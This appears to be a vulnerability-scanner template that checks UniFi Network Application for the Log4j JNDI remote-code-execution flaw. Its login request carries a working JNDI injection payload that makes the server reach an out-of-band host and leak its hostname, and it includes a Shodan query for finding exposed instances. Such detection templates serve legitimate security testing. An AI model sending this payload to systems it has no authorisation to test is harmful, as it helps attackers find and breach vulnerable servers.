44 lines
1.5 KiB
YAML
44 lines
1.5 KiB
YAML
id: unifi-network-log4j-rce
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info:
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name: UniFi Network Log4j JNDI RCE
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author: KrE80r
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severity: critical
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description: A critical vulnerability in Apache Log4j identified by CVE-2021-44228 has been publicly disclosed that may allow for remote code execution in an impacted UniFi Network Application .
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reference:
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- https://community.ui.com/releases/UniFi-Network-Application-6-5-55/48c64137-4a4a-41f7-b7e4-3bee505ae16e
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- https://twitter.com/sprocket_ed/status/1473301038832701441
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metadata:
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shodan-query: http.title:"UniFi Network"
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tags: rce,log4j,ubnt,unifi,oast,jndi
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requests:
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- raw:
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- |
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POST /api/login HTTP/1.1
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Host: {{Hostname}}
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Content-Type: application/json; charset=utf-8
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Origin: {{RootURL}}
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Referer: {{RootURL}}/manage/account/login?redirect=%2Fmanage
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{"username":"user","password":"pass","remember":"${jndi:ldap://${hostName}.{{interactsh-url}}}","strict":true}
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matchers-condition: and
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matchers:
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- type: word
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part: interactsh_protocol
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words:
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- "dns" # Confirms the DNS Interaction
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- type: regex
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part: interactsh_request
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regex:
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- '([a-zA-Z0-9\.\-]+)\.([a-z0-9]+)\.([a-z0-9]+)\.\w+' # Match for extracted ${hostName} variable
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extractors:
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- type: regex
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part: interactsh_request
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group: 1
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regex:
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- '([a-zA-Z0-9\.\-]+)\.([a-z0-9]+)\.([a-z0-9]+)\.\w+' # Print extracted ${hostName} in output
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